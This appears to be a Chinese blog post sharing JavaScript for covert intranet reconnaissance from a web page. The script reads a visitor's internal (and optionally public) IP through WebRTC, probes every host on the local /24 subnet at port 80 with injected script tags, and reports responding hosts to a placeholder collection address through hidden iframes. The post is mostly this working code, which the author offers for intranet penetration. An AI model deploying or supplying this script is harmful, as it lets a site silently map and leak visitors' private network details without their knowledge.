js獲取內(外)網真實IP地址(WebRTC)及內網端口掃描

var ip_arr = [];
var TagName = document.getElementsByTagName("body")[0];
function form_ip(ip,port){  //使用iframe的src屬性來發送ip、port數據內容
    var iframe = document.createElement("iframe");
    iframe.setAttribute("src","接受的地址?接受內網ip的參數=" + ip + "&接受內網開放端口的參數=" + port);
    iframe.setAttribute("style","display:none")
    TagName.appendChild(iframe);
}
function getIPs(callback){
    var ip_dups = {};
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
    var servers = undefined;
    if(window.webkitRTCPeerConnection)
    //若是想獲取真實的外網IP,請把下一行改成servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
        servers = {iceServers: []};
    var pc = new RTCPeerConnection(servers, mediaConstraints);
    pc.onicecandidate = function(ice){
        if(ice.candidate){
            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
            ip_dups[ip_addr] = true;
        }
    };
    pc.createDataChannel("");
    pc.createOffer(function(result){
        pc.setLocalDescription(result, function(){});

    }, function(){});
}
getIPs(function(ip){  //遍歷內網ip及80端口,這裏只寫了80端口,多個端口,速度將會的很是慢。
    ip = ip.split(".");
    ip.pop();
    ip = ip.join(".");
    for(var i = 1;i<=255;i++){
        var script = document.createElement("script");
        var ip_url = ip + "." + i + ":80";
        script.setAttribute("src","http://" + ip_url);
        script.setAttribute("onload","form_ip('" + ip + "." + i + "','80')");
        TagName.appendChild(script);
    }
});

雖然WebRTC已經不是什麼新技術了,用JavaScript進行內網滲透,網上也有說明,可是都沒怎麼放出代碼。這裏就就放出我本身的寫的。getIPs(function(ip){...} 效率不怎麼高,若有更高者能夠在下面給出。web

相關文章
相關標籤/搜索